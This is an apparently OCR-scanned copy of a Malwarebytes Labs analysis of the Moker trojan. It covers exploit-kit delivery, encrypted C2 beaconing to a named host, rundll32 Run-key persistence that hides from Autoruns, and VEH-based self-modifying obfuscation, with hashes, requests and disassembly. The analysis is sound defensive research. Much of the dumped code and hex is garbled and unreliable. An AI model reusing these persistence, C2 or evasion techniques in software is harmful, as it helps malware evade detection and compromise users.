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Elusive Moker Trojan is back | Malwarebytes Labs
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Published: 2017-04-20 - Archived: 2026-04-05 19:45:00 UTC
UPDATE: This trojan is also known under the names Yebot and Tilon. According to Dr Web, this family is in

circulation from at least 2012. It was first described under the name Moker by Ensilo, in 2015. //thanks to
(@kdfeine for the tip

Some time ago we observed a rare, interesting malware dropped from the Rig-v EK. Its code was depicting that it

is written by professionals. Research has shown that it is a sample of Moker Trojan (read more here). However,

for a long time, we could not find a sample with working CnC in order to do a deeper research. Finally, we found

such a sample — this article will be a deep dive in its capabilities.

Analyzed samples

o 76987e1882ef27faab675c4a5ce4248d — main sample — dropped by EK (April 2017)
o f961bf2d0504e376b3305e9d06f66de3 — the main module — DLL (stage 2)

e £63913d6d389a6bc5f2aa4036717ac27 — main sample (dropped by EK)
o 4d9f5048e225e8b4dd5feb8ec489e483 — unpacked payload (stage 1)

Downloaded modules:

8997b9365c697e757f5a4717ec36fb2d — pluginj382dewli.exe

faf2135dc5311b034d31191694a52bbd — KB1080030.exe

Reference samples (from 2015)

e 9bdd2e72708584c9fd6761252c9b0fb8 — sample #1
o 5f005beb917acfeb28e0a410909e6d6b — sample #2
o 650ce9e81d7f86660e2d37cbde8f160a — unpacked Stage 1

Distribution method

We found Moker Trojan distributed via exploit kits — in malvertising campaigns, as well as dropped from the

hacked sites. Example — Rig-v EK dropping Moker:

7
Host URL Body Caching  Content-Type Process Comments

locahost [ 160,098 max-ag... applicationfoctet-stream [#0]
Jwelcome ... texthiml; charset=utf-8  iex 6  Site_Compromised: NfA
com  [2q=LrXh oDItmscOAKphMk gk imAmT7QLS. .. text/himl iex 6  Ewploit_Landing: RIG-w_FK_...
zJpwai IDeuaSvyCme0pVI4AIFTZ00DCA. .. application/x-shodwav... e e 5 Exploit_Flash: -v_EK_URL

[%ie =UTF-168q=ILL WrwEDq1oZ OduscOAKpgs76ay. .. application/x-msdownload i PE_Decrypted: RIG-v_EK_URL

Behavioral analysis
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The malware injects itself into the svchost, and then contacts the CnC server.

" | svchost.exe:544 (netsves -y) Properties o[BS
| Image I Performance I Performance Graph | Threads
TCP/IP | Security | Envionment | Job | Stings
Resolve addresses
F‘ro‘; Local Address Remote Address State
TCFP testmachine:49... hostby.gtoprojects bizhttp  CLOSE_WAIT

Network communication

The communication is encrypted. The typical way of beaconing is to send the request to the address:

.php?img= An example of the sent request:

||:|2 200 HTTP bitmixc.ml i-"nllwl'unlil-}ﬂ2.ph|:u?.img=1 213 504 ;w-stnre:Expir... imaug.é_-'jpe.g svchost: 1752
GET /nnnn@4722.php?img=1 HTTP/1.1 User-Agent: Mozilla Host: bitmixc.ml

“

The server responds with encrypted content (the bot saves it in a registry key). Then it injects itself in other

applications and sends further requests, including the data of the infected machine, i.e.:

> bitmixc.ml fnnnn04722,php?page =TESTMACHINEG 11_448D3B8348s=1008p=2.08er=0.0 5 applicationfocsp-response
@31 200 HTTP  bitmixc.ml fnnnn04722,php?page=TESTMACHINEG 11_44803B348s=589708p =2, 18er=0.0 6 application/ocspresponse  jusched: 1560
@32 200 HTTP  bitmixc.ml fnnnn0<4722,php?page=TESTMACHINES 11_448038348s=118p=2,08&er=0.0 159775  applicationfocspresponse  jusched: 1560
[El 33 200 HTTP  bitmixc.ml fnnnn04722.php?page =TESTMACHINEG 11_448D38348s=118p=2,0&er=0.08a=10000007 6 applicationfocspresponse  jusched: 1560

GET /nnnn@4722.php?page=_&s=p=.&err=.

In the below case, the response turned out to be a PE file (an updated version of the bot) obfuscated by XOR with

a character ‘c’.
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POST /nnnnB4722.php?
page=TESTMACHINE611_448D3B34&s=11&p=2.0&er=0.8 HTTP/1.1
Content-Type: application/ocsp-request

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1;
Trident/4.@; SLCC2; .NET CLR 2.0.58727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.8E)

Host: bitmixc.ml

Content-Length: 11

Connection: Keep-Alive

Cache-Control: no-cache

Zooooo 1083*HTTP/1.1 200 0K

Date: Mon, 03 Apr 2017 20:50:57 GMT
Server: Apache/2

X-Powered-By: PHP/5.3.28

Cache-Control: no-store

Expires: Tue, 04 Apr 2017 04:50:57 +0800
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=1608
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/ocsp-response

246a7

oalPoootlcoooa BREEn

9.c cccgece. .CC.CCCCCCCHCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC . CCem
| . mc.j.B.b/.BY.

B ooooog B g

S BE L MMM GCCCCCCE - o=« s a)s a)a aa =) onallocooocoaonac 1
...... ccccccccccccoccocc3&cc/
bgc.,R7cccecccee.c bhb.coc.cece.bececece>Qeccescce . coccc#ccscccaccgeccece

el a Pl Tt ot ]

The server responds either by sending some encrypted content or a number:
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| [\---F---{.--.R...Z.Z044. .68#8] .+........
JoaPooaooad - —aaa- _—
9., ..Ecounn. s 1. ..=
o cs0ooo0 K.z.D. .+ -< * Soo caood 9}.].5..=
%21, ..., 5 heac QCa.+b 10009
) 295 02 oal=ilo oo alBacooa HTTP/1.1 280 OK

Date: Mon, 03 Apr 2017 20:57:32 GMT
Server: Apache/2

X-Powered-By: PHP/5.3.28

Cache-Control: no-store

Expires: Tue, 04 Apr 2017 94:57:33 +0800
Vary: Accept-Encoding,User-Agent
Content-Length: &

Keep-Alive: timeout=1, max=99
Connection: Keep-Alive

Content-Type: application/ocsp-response

=40737

45 client pkt{s), 2 server pkt(s), 3 turns.

Persistence

Moker achieves its persistence by adding a Run key in the registry. This method may look very simple at first.

However, the authors of the malware hid the real executable behind a legitimate Microsoft application —

Rundl32.exe. Thanks to this trick, it is much harder to notice it — a popular tool used to examine persistent

applications, Sysinternals’ autoruns, does not show such keys by default, assuming that they are harmless.

(Viewing them can be enabled by clearing the default option “Hide Windows Entries”.)

ﬁ Registry Editor
File Edit View Favorites Help

. RADAR -
. Run (7
, RunOnce

Type Data

REG_SZ
REG_SZ

(value not set)

4 | | r

Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:h\Users\tester\ seteet358(19u.exe”

Computer\HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957-1000\ Software\Microsoft\ Windows\ CurrentVersionRun

The sample of Moker is dropped in the current user’s home directory:

¥ Local Disk (C:) » Users » tester »

Share with - Mew folder
Mame . Date modified Type
MNTUSER.DAT{6cced?fl-6e01-11de-Bbed-... 2015-06-18 22:31 BLF File

MTUSER.DAT{Gcced2fl-6e0l-11de-8bed-...
MTUSER.DAT{Gcced2fl-6e0l-11de-8bed-...

ntuser.ini

2015-06-18 22:31
2015-06-18 22:31
2015-06-18 22:23

REGTRAMS-MS File
REGTRAMS-MS File

Configuration sett...

Size

64 KB
512 KB
512 KB

1KE

| 'E seteetd5819u. exe

2017-04-03 22:56

Application

159 KB |

If we take a closer look at the sample, we can see that it has been slightly modified in comparison to the original

one — some encrypted information has been removed:
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4 [ seteet95819u.exe
DOS Header
@ DOS stub
4 NT Headers

ignature
iIeHeader
pt\onal Header
Section Headers
4 Sections
s B text
= EP = 33D6

.adata
.data
.rsrc

»

m

DOS Header
@ Dosstub
4 INT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
s B ted
=p EP = 33D6

.adata
.data
.IsrC

4 [ aflbd82bflle5a386abf5elaldc9773b66f7936f6e2e8f3eadccdl... | «

m

Relative Offsets  Next Diff

Relative Offsets  Next Diff

RAW 0|1 2 3|4 |6 | & |7 8
2639C3
26303
263E3
269F3
PRANG

9 A B CDE F

00 FF

FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00
an an an an an oan an an an oan an nn oan nn oon an

RAW o 1 2 3 4 6 & |7 |8
2639C9
26509
269E9
269F9

%9 A B C D E F

00 FF

FF FF 00 00 00 00 00 00 OO0 OO0 00 00 00 00 00 00

ZRANG an an an oan an an oan an an oo oan an an oo oan oan

m

As it turned out after the further research (see in the part “Inside”), those bytes contains the CnC address, prefixed

by a special tag. The information removed from the executable is not lost but stored elsewhere — in one of the

registry keys created for storing the malware configuration.

Other keys created by the malware are saved under “..CLSID{448D3B34-8D3B-3B34-8D3B-48D3448D3B34}”:

d3b5fh72e6fd111f6d 025997 7612 5f57 3 d7 3664 Te 24 8f 80 3e0b 5a 7c f8 a0 8d f547 02 €1 7999

4d 5a 90 00 03 00 00 00 04 00 00 00 f £f 00 00 b& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 O 0...
6b 3d 87 d9 d1 9 40 fa b6 dd 2c b6 bb 7e 27 8b fd 7 23 ac 5f 267 49 b1 88 4c 8223 f358 a9 1 bb 2079 2b...
01 00 00 00 0a 00 00 00 68 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 00 ...

¥ Registry Editor
File Edit View Favorites Help
“ || Name Type Data
[ ]| 28] (Default REG_SZ (value not set)
1 REG_EINARY 2033
2410 REG_EINARY 4b4239383339353231 373330 00
sd)4 REG_EINARY 20 af 67 80 85 ad d2 01
545 REG_BINARY
26 REG_BINARY
287 REG_BINARY
) c REG_BINARY
p REG_DWORD 0x7BeabBlf (2028648479)
1 s | REG_SZ

ChUsers\tester\ AppData‘\Roaming\Microsoft\Windows\5tart Menu'\Programs\Startup

Computer\HKEY_USERS\5-1-5-21-1928933236-2258453022-3626796957 -1000" Software! Classes\CLSID\{44803B34-8D3B-3B34 -8D3B-48 0344803834}

The full dump of the registry entries is available here.

As it turned out, the encrypted CnC address, that was removed from the executable, is persisted in the registry,

inside the key “5”:
Edit Binary Value
Walue name:
5
Walue data:
0ooo D3 B FB 72 E& FD 11 1F f)uﬁri'}} -
goos el 02 58 97 Te& F2 5L5F 57 m.Y.Vﬁ_W
0010 E3 D7 36 ®4 TE 24 8F &80 Awgd~5. .
gois 3E OB SA 7T7C F8&8 A0 8D F5S *».Z|l® .6
0020 47 02 E1 7T9 8% F.avy.

Compare with the data from inside the original sample:
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] 16cab3646af30b452a3682238020223204 cBeT344cdl Iddd dealdbeb23alalel . axe

Cffset(h) OO0 01 02 03 04 05 06 O7 08 0% OA OB OC OD OE OF

00019130 OO0 00 OO0 OO OO0 OO0 OO0 00 Q0 TF FF FF FF 80 00 00 .......... TTUE..
00015140 OO0 OO0 OO0 OO OO0 OO0 OO0 00 Q01 3D FF 24 8B 92 C1 D6 ......... =S¢ AG
00015150 23

00019160

00019170

Another key, “6”, stores a PE file (the executable dumped from the registry is available here:
91£754c3fc475aed93e80575bb503c73).

Edit Binary Value ==
Walue name:

[

Walue data:

0000 4D S5A 90 00 03 00O 00 00 MZ...... -
goog 04 0O 00 OO0 FF FF 00 0O A El

0010 Bg OO0 00 00 QO OO 00 00 s e e
00ls 40 00 OO0 OO0 00 00 00 Qo0 Boweonnn
0020 g0 00 00 00 00 00 00 OO0 ... .....
0028 g0 00 00 00 00 00 00 OO0 ... .....
0030 g0 00 00 00 00 00 00 OO0 ... .....

0038 g0 00 OO0 00 BO 00 00 OO0 e Tl
0040 QE 1F BA OE 00 EBE4 0% CD N S
0048 21 Bg 01 4C CD 21 54 &8 1, .Li!Th

0030 68 T3 20 TO0 T2 eF &7 T2 is progr T

The key “7” stores the data that was downloaded from the CnC after the initial beacon:

s "

Edit Binary Value ==
Walue name:

Fi

Value data:

0000 68 3D 87 DS D1 SE 40 Fh k=.UN.B@a =
ooos B6 DD 2C B6 BB 7E 27 8B IY¥,%I»~'. [ ]

0010 FD 7F 23 AC 5F C2 &7 49 vl ¥~ AgI
o018 Bl 88 4C 8E 23 F3 58 B3 +.L.%AX®
ooz2o Cl1 BB 20 79 2B RB7 9F 81 Am v+ES..
ooz2s DC 2D 8D 1D 18 D3 cCo Fe& O-...0A4s
0030 ED 2B 9 DE OR D3 C2 4E =+ .P.0AN

o038 CL 91 F7 4C F9 €9 D2 40 E.zLukEdE
D040 38 TA 73 FE 4D E4 DC 52 szsaMaimr
no4g 04 BT 53 AR L3 47 CE ES8 . -5=2L3ie
D050 L& 1B T4 FO 71 40 50 99 . taglP. T

| ok || Ccancel

Compare with the content of the server response:
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GET /nnnn04722 phpZimg=1 HTTP/1.1

Client

User-Agent: Mozilla
Transport

Hest: bitmixc.ml

Get Syntax\iew | Transformer Headers | TextView ImageView | HexView | WebView

Raw 150N XML

Auth Caching Cookies

413

[
o

Wy

[

W o

Y

1t
Wl LS b
]

S =TT )

L
2
&
2z

IR ]

M =]

1 Ga [ R i
) =

o b D0 e VR s VR = Vs

G L o [

2
E
 E
F.
1]
0
F.
1 D
4

i}
D.
5
1
11
F
4.1
1

1]

The key “10” contains the name of the downloaded module:

Edit Binary Yalue

Value name:

10
Value data:

1

S

w

&
Z
Z
&
4
4

[

0 v e (SIS

=1 M

0

0

E ko -
Mmoo h

QK. .Date
Mon, 03 hpr 2017 20
-56:-28 GMT_ _Server: A
f H-Powered-By

: E 3_28_ _Cache-C
ontrol: no-store. _Exp
ires: Tue, 04 Rpr 201
_hee

ntent-Length: 213504.
Vary: Accept-Encodin
-Content
e/dpeg. . ..
k=_UN_@aIY, Te~" _§_£-_
AgI+ L. goxehs yis. . 0-
.. _Oh@h* B_OANE +LaEO
@ezstMalR._ -522GIe! . ta

QP T _osék. _a&:B_wCi~
F~V_ib_ . Baht _*J
¥8.AcE.T"&8.DE.tdMZ a7

m+U.“..iirB;

~.pD.hs+acHx4=
3 ~f=_11h¥a- & az.0
. _HaTC&Fbikd_ Adx_;>QU
BrgEE+a0a. . B-_"3i -
-wRhE® E “biagd_ chdd
T.A_ _E'e_D:a._Ki_ ~R.
(-Dit."iRE (m. - Ap WEWT?
IHA. > V..

G3._/HO.
EIE(RxedE~z[
7_HwohHO2V_ I
JE{.1/Iupj.ch
BubNAES _1cB._ &
..EW.i;..ey
&30 jg.eEC.5id

3
E

-t
&/ Ex0¥E] _SNE. Ba¥E
_& _+0Y¥»o.F))M-_ _EI¥
5 TVYS 1 w Zifed EW

=

opoo 70 6C 75 67 639 6E 6A 33
0008 38 32 €4 €5 77 31 €3 00
ooio |

The new module is stored in ProgramData:
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b Local Disk (C:) » ProgramData »

Mew folder
Mame Date modified Type Size
. Package Cache 2016-08-11 01:33 File folder
. regid.1991-06.com.microsoft 2015-06-18 22:41 File folder
o Start Menu 2009-07-14 08:53 File folder
o Templates 2009-07-14 08:53 File folder
|I pluginj282dewli.exe 2017-04-0512:06 Application 157 KB|

Its persistence is added also with the help of a Run key (in a similar way as the previously described case):

' Registry Editor
File Edit View Favorites Help
* || Mame Type Data
'{ ab] (Default) REG_SZ (value not set)
REG_SZ Rundl32.exe SHELL32.DLL, ShellExec_RunDLL "C:\ProgramData\pluginj382dend i.exe”
b~ . e . e e — - — s ‘e e 4o - P "

Computer,HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Inside

Moker consists of two main modules. The Stage 1, that is a downloader, and the Stage 2, that is a
DLL containing the core malicious features. The downloader injects itself, along with the unpacked
shellcode, into the svchost.exe. The screenshot below shows an example of the infected memory

pages inside the svchost.exe:
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Section |Contains Tupe| Access | Initial] Mapped as
Map

ER, El
DLoORD
DLIOF;
OF:

The injected shellcode is responsible for sending the initial beacon to the CnC. Then, if the CnC is active, the
main DLL is downloaded and injected into the other processes. During the tests, all 32-bit applications running in

the Medium integrity mode have been infected by the Moker DLL.

Stage 1

Let’s dive in the code, starting from the dropper — that is the Stage 1. This is the binary used for initiating the full
infection process — originally delivered by exploit kits. Every sample comes packed by some crypter (crypters are

different for various samples so we will not describe this layer here).

After defeating a stub of a crypter, we get another PE file — with a layout typical for Moker. The section .text, that

—in normal cases is the first section of PE, in case of Moker comes as second:
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4 E moker_payload.exe
DOS Header
@ Dos stub
4 MT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
% .data
4 deat
=5 EP = 4DBE

-ﬁ JAdata

Section .data is very small in the raw file, but it is expanding in the virtual image. So, we can suspect that

something more is unpacked there:

MName Raw Addr. Rawsize Virtual Addr. Virtual Size Characteristics Ptrto Reloc.  Mum. of Reloc.  Mum. of Linenum.
4 data 200 1200 1000 CB780 0000040 0 0 0
> 1400 & CCT780 » rw-
4 text 1400 8600 CDaoo 84D8 60000020 0 0 0
> 9A00 & D54D8 » X
4 idata 9A00 600 D&000 440 0000040 0 0 0
> ADOD & Do4AD » rw-
Raw & X \Virtual g X
_100a____;
I e 15
1400
-text]
44000
[.data]
4DEE n
o
b}
o
s
z
1| sa00 —
E: ] 2 e
2 —Ten]

Obfuscated execution flow

IR N

The internal structure of this module is very interesting. It has self-modifying code with execution based on VEH

(Vectored Exception Handers). Execution starts from installing the handler:

text:084CEABD
text:084CEABD
ftext:004CERABA start:
text:884CEABA
text:0684CEABG
text:0684CEABE

public start

lea ehx, start
call add_veh
in al, dx

Instructions IN are used in various places in the code. Their role is to disrupt the continuity of the execution by

triggering an exception. Then, execution is redirected to the previously installed handler. Depending on the variant
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of the instruction that triggered the exception, the context is changed in one of the few ways:

source addr = ExceptionInfo-*ExceptionRecord->ExceptionAddress;
if { =source addr == BxEhu ) Ff B=E4 = IH AL ,<BYTE>
1
vi-*Eax = dword 481598[={ BYTE =)}{uvi->Eip + 1}];
ul->Esp —= L;
={ DWORD =)ui->Esp = vi->Eip + 2;
ui->Eip = (DWORD)jmp_eax;
return -1;
i
if { =source addr == 8xEDu ) Ff B=ED
1
uiB = { WORD =){ui->Eip + 1});
uil = vi-»Eip + 3;
ul->Esp —= &L;
*( DWORD =)ui->Esp = uli;
ui->Eip = (DWORD)sub_4CDOBO + =ui0;
return -1;
i
if { =source addr == BXECu )} Ff BxEC
{
pos = { WORD =){ui->Eip + 1});
ul->Esp —= H;
uf = (int){pos + 1});
ug ul->*Esp;
U9 = =pos;
#{ DWORD =)ul = u7;
ui-*Eip = (DWORD)dword 4CF114;
={ DWORD =){u& + 4) = {(char =)sub 4CDBBA + vD;
return -1;
¥
if { =source_addr *= BxF8u ) Ff BxF8 = CLC
{
ui = B;
for i
wd = 1
f { vl

IN EAx, DX

IN AL, DX

fdunk_U4CF7BO; =i; i = ( DWORD =)=i }

—wr ||

i
1

ul->Ebp
ul->Eax ui[1];
ul->Esp u3[3];
ui->Eip = uv3[4];
return -1;

va[2];

Context patching is used to obfuscate the execution flow. Thanks to this trick, static analysis of the code is almost

impossible — all changes on the fly.

The JMP EAX (first case in the exception handler) is used to deploy API calls. It is triggered by IN AL, (see the

example below):
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BE14E6881 &R @8
BE1466033 SR B8
BE14E625 &H B8
BE1466837 6H 88
BE14E833 8095 F3FEFFFF
BE14EE2F E2

BE14E638 5095 FCFEFFFF
BE14EEIE E2

BE14EE97 FFEBS F4FEFFFF
EE14EE30 FFES FBFEFFFF
BE14EEAZ E4 E9

A1 4EEAS BECA

Ba1468AT |~ F5 1C
BE146EA3 2052 C4EYFFFF
Ba1468AF 52

BE1460E8 8095 FCFEFFFF
BE14EEEE 2

BE14EEET ED

BE14EEES BEEE

BE14EEEA BECH

BEa14EE8BC |~ 74 @7
BE14EEBE 1]

Ba1468EF FF15 FrCead4Daa
Ba146aC5 |~ EB RS
BE14EECT 228D FBFEFFFF
BA14EEACE |~ 74 @8
BE146a08 FFES FBFEFFFF
BE14EE0E E4 &7
BE146a0:5 ca

BE146609 ]
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[ T R R N R AR L Sy

PLISH @u@
PLUSH @x@
PLUSH Gu@
FLUSH Gu@
LER EDX, OWORDT FTR S5: [EEF-B8:1831
FLSH_EDY
LER ED&, OWORD FTR S5: CEEF-B8:1841]
FLSH ED

FLIEH DWORD FTR S5: [EEP-Bx16EC]
FUSH DWORD FTR S5: [CEEBF-Bx1161

IN AL, 855

TEST ERX,ERX

JHE SHORT @814BAC5

LER EDX,OWORD PTR DOS: [EEX-8x123C]
FLSH EDW

%Eg EDH DWORD PTR S5: [EEP-B8x1841

IH EHH DK

ADD BVTE PTR D= CEAKT, AL

TEST EA

JE SHDRT 88148865

FPLIEH ERX

CALL DWORD PTR DS5:[<&KERMEL3Z.Ex itProcessi]
JHMP SHORT &814B086F

CHP DUWORD PTR S5:CEEF-@=1181, 0u@
JE SHORT @@14660:3

FUSH DWORD PTR S5: [CEEBP-8x1181

IM AL, BuE7

LERLE

RETH

B p LT

call API

I-0 command

kernel32.Ex itProcess

170 zommand

That’s why, if we trace the API calls made by the application, we can notice that most of them are made from the

same address in the code — only the target address is changing.

B840ZEED 2058 @2
BE402EEC S2AE CABRREBEHE 04
BE402BC3 SESE C4088008
AR40z2E07 BFB?BB
BE402BCC
BE40ZECE BE BBDB4CBB
aa402B032 2926 BoOaBRaE
cE40zE0S |~ E9 EEFFFFFF

- FFEB
BE40OZEER BEDE EERHEACE
BE402BES HE_4BARE17A
BE40ZBEE BaEE
aEa402EED F1
B840ZEEE Ciqz a8 74
BE402EF2 ZBCz2
G840ZEF4 BE35 SECAER04
BE402EFA 4@

LEA EDx, OWORD FTR DS: [ERA+E:Z]
SUB DWORD PTR D5: CESI+E4CA], GAnd
MOU ECH, OWORD PTR DS: (ESI+E=C4]
MOUE: EAx, WORD PTR DS: [EAX]
U DWORD PTR DSz [ECH], EDX
EHH.ka BE4COEEA

PTR_DS: [ESI+8xB21,ERX
nok BB4DEBS4
ER:

EYTE PTH DS [EAX+E4 EEBREAES], DL
AL, BYTE PTR DS5: [BxFBAE1664E]
1EWTE FTR DS LEAX], AL

I

ROL EYTE FTR DS:L[EDX],8x74

AMO 0L, AL

ADD EBYTE PTRISSE [EEFP+B:4B8CHE5E], OL
INC ER

kernel32.GetFileSize
kernel32.GetFileSize

Shift constant out of range 1..31

kernel3z2.GetFileSize

Not only the execution flow but also the code itself is dynamically modified. We can find the application calling

very often VirtualAlloc:

r. | FUSH _EEF
aE405520 (] o | MOW EBP, ESP
HA40562F . | PUSH EDX
BE405526 (] . [ PUSH ECH
BE405521 . | PUSH &=d4@
Ba405533 (| « [ PUSH Bu 2888
aE405522 (] . | PUSH [ARG. 13
HEGOSE2E . | PUSH &

. | CALL

= . |FOF E
BB4D5644 . | POF EDX

BE405545 (| o [ LEAVE
aodnsedz | L | HERY_ox4

ntdll.KiFastSustenCal LRet

Frotect = PRGE_EXECUTE_REROWRITE
Allocat ionType = MEM_COMMITIMEM_RESERVE
Size = 87 (135

Address = MULL

VirtualALloc

ntdll.KiFastSustenCal LRet

Some pieces of the encrypted code are copied from the main executable into this dynamically allocated memory:
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BE4COSFE | . E29FF CHF EDI. EST

BRACOSFE | .~ 74 18 JE SHORT moker_ba.B8R4C0229
AE4Cco0ay™a | . FC CLD

BE4CO3FA | . E9FE CHMP ESI.EDI

BE4C0OS70 | o 73 83 JHE SHORT moker_ba.B884CDSs?y
BE4COSFE | - S07P48E FF | LEA ESI,OWORD FPTR D5:[ESI+ECK-8x1]
aE4Coss2 | . SOFVCEF FF | LEH EDI, DWORD PTR DS:[EDI+ECK-8m11]
AR4CO226 | . FO 57D

[EEETE * F2:R4 REP MOUS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
aE4cozas | > FC CLD

aE4cozan | . EF FOP EDI

aE4cozse | . EE FOP ESI

aa4chssc | . B2 FOP ECHE

aa4cossn | - L2 LERVE

BA4C0S3E | . CZ2 Bcea RETH &=C

1 |

E0I=Ea13@a16
ESI=884CEVZE (moker_ba.BB4CEFZE)

Address |Hex durmp HSCII

HH4ACEFIE|E2 B2 E2 @@ 40 EA B8 BA C9 32 ES 82 108 @C 45 SE| RSS.ML.|IF2REk.ES
EE4CEFEE|EL B4 B2 @82 2B &7 C2 32 C1 83 FF FF FE ES 52 1C| 0#FRGar=2ta REL
EE4CETEE|SA FF 83 @8 8F 33 FF 5B @4 C2 51 52 IC CA 83 51|Z &4.C3 [#rRRL ‘a0
HE4CEF4S|EE 52 89 52 FF FF FF FE @4 59 14 71 29 1@ 72 89 RSEY e gE by E
FR4CEFES| A9 89 2B 8D IC 71 80 18 8F 5C 68 BC 41 8F B8 41| ié+2 g2 t= el
HR4CEFES| G4 85 51 E6 47 BG BF B4 57 52 89 FF FF FF FB ES| —ERSGA%#URE iR
FR4CEFFE[SE D8 EB 2A F2 @1 ES 57 D& FF 8B 57 52 IC EE 33| GEU#BRWI GWx 13
HA4CEFEC| @4 EF BC 57 2B B2 4F 8B FE 2B 77 SB 12 SF SB 18| _ . WSEA0G" dwitodk
DU4UECSS| 14 EB BB FE FF FE C3 58 FF 15 AC 62 40 BD &R 02 TRG_ P SCbM, 8

Then, they are decrypted by a dedicated function:

aEd404A0s |rs 55 FUSH _EEF

aa404A02 |1 . 39ES MOW EBF, ESP

aE404A0B |] - &8 PUSHAD

aa404A0c |) . 2EBFE B8 MOU ESI, [ARG. 13

BE404A0F || » B2F0 BC 82 |rCHP [ARG.21, 6-2

AA404HES 1] . 72 45 JE SHORT moker_ba.88404E2R
FEENERISE | . SE4E B84 MOY ECH, OWORD PTR DS: [ESI+@x4]
aa404RES || . BF @vV@essss || MoU EDI, B:7

aE404AED |1 . 3BBl6 MO ED, OWORD FTR OS:CESI]
BE404AEF |1 2B4E 1@ FHOy ER-, [ARG. 21

aa404AF2 |1 . B1F3 ADD EAX,EDI

aa404AF4 |1 . 83F3 ar CHMP ERX,8:7

BE404AFF | o TE 83 JEE SHORT moker_ba.B88404RFC
aa404AF2 | . 33ES 85 SUE ERK,Ex2

aa404AFC | »  S8FR 28 CHF DL, 8x28

EE404AFF (| o+ 72 _BE JE SHORT moker_ba. 88404BEF
aa404Ba1 |] . 88FA_FA CHP DL, 8x7H

aEdn4ga4 (| .~ 77 B89 JH SHORT moker_ba. 88404BEF
aa404B85 |1 . FECA OEC DL

aa404B82 |] . 86FA 1F CHMP OL,E=1F

aa4D4EB8E |1 . 75 82 JHE SHORT moker_ba. 88404B0F
aa404E80 |11 . B2 7R MOW DL, 8 7H

aa404B8F |1 » 331486 Mou BYTE PTR DS:[ESI+EARX],OL
aEd404E12 |1 . CLlEA 88 SHR EDK, GuE

aa404B15 |1 . 4F OEC EDI

EEdn4els (| o~ 78 @9 JS SHORT moker_ba.88404B21
aa404B12 |] . 83FF 83 CHP EDI,Gn2

aa404B1E || .~ 75 D2 JHE SHORT moker_ba. 88404AEF
aa4D4E10 |1 . 32CAH MOL EDK, ECH

aa404E1F |1 .~ EB CE w P SHORT moker_ba. 88404REF
aa404B21 |1 » 3360 BC B3 SUE [[ARG.Z21, 65

aE404B25 |1 . BE3Ce B8 ADD ESI, bus

aa404B22 |1 .~ EB BS LJMP SHORT moker_ba. Ba404A0F
aa404B2H |1 » 61 POPAD

aa404B2E |] . C2 LEALE

aa404B2c (L. C2 @caa RETH &:C

ARANAR2E R MNP

|

05: [881388R4 1=ERBAER4D
ECx=Ba8a88aa1

Hddress | Hex dump HSCII

polzEEaEa| 52 52 52 @8 40 EA B8 BA C9 32 ES 82 18 @C 45 3B|RSS.HML.||F2RaEk.ES
AR1ZEAla( 51 A4 2 @23 8B &7 C2 32 Cl1 82 FF FF FE EE 52 1C|R+FAGarz2ta {iREL
BH13EAZE(5A FF 82 @@ 8F 33 FF 5B B4 CZ2 51 52 IC CH 83 51| &.C3 L[erQRLC “&0
OH13EAZE(ES 55 89 59 FF FF FF FE 84 59 14 71 29 1@ 73 39| pRSeY e gE by &
AE12EA4a( 69 29 2B 80 IC 71 80 18 8F 5SC &8 BC 41 SF B2 41| ié+2 g2 t= el
HE12EREE(C4 83 E1 E& 47 BE BF B4 E7 52 89 FF FF FF FE EZ|—ER0SGA%+WRE 1]
aaizeaca( 8B DS EE 2A F2 @l ES 57 D& FF 8B 57 52 IC EE 83| GéU#ARWI Glx.t3
AE1ZEATE( B4 SF BC 57 SE GBS 4F SB FE 2B ¥7 8B 12 &6F SE 18| #_ . WSE0&6 " dwitod k
aElgaaga (14 ES FECFE FEEECS 85| 8 00 G0 &8 88 @8 oo @0| fe Feeeeeann.

GGG G G UG GG GG G UG G GG R G R e G ]

The revealed code is almost ready — except for the addresses of calls, that needs to be filled. You can see in the

following fragment, that temporarily the CALL points to its own address:
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Address |Hex dump Dizassembly

HE 1 SHEEE 2 FUSH ED:

HiEd13REE 1 E1 FUSH ECH

HE13HEE2 EA BHEA4CEE MO ED, moker_ba.<Modu leEntryPoint »
HE130EE7 Ez2 FUSH ED

HE13REES 21C9 #OR ECH,ECH

BiE1 20EEA SE44BC 18 MO ERX,OWORD PTR S55: CESP+ECH+@:18]
HE130EEE g3ES B4 SUE ERH, BH4

HE130ET 1 =1E] FUSH ERx

HE1SAELZ 21C9 wOR ECH, ECH

HE13AE14 G5 BBES MO Cx, WORD PTR DOS: [ERX]

HE130E1 7 51 FUSH ECH

HE130E1S g83C1 1C AOD ECH, &= 1C

HE13HE1E E1 FUSH EC#

BE1Z0E1C EZ FEBFFFFFF CALL @@aizsaic

This is fixed in another step — the decoding function returns into another code fragment, that modifies the

addresses:
GE4CEEDD | 7 SESF MO EOT, OWORD FTR 05z CEOI]
GE4CEEOS | . BOSF 1C LEA EDX,DWORD PTR DSz CEDI+Ex1C]
BE4CEGDS | . S09E 27PoCowd LEA ECH,DWMORD PTR DS:[EEH+EmECET]
GE4CEEOE | . 2901 SUE ECH,EDR
GE4CEEER | . S94@ Bl HOU DWORD FTR DS:[EDR+Ex11, ECH
GE4CEEES 2057 =1 LEA ED¥,OWORD PTR DS:CEDI+E9S11]
GE4CESES S0SE SEEEFFF LER ECY,OWORD FTR DS: [EEX-G:11A51
GE4CESEL 2901 SUE ECH,EDR
GE4CEGEE | . 294@ @1 MDY DWORD PTR DS:[EDX+E=11,ECH
GE4CEEFL | . SOS7 SA LEA ED¥,DWORD PTR DO5:CEDI+E:SA]
GE4CEGF4 | . G086 D3coeed LER ECH,DWORD PTR DS:[EEH+excaDs]
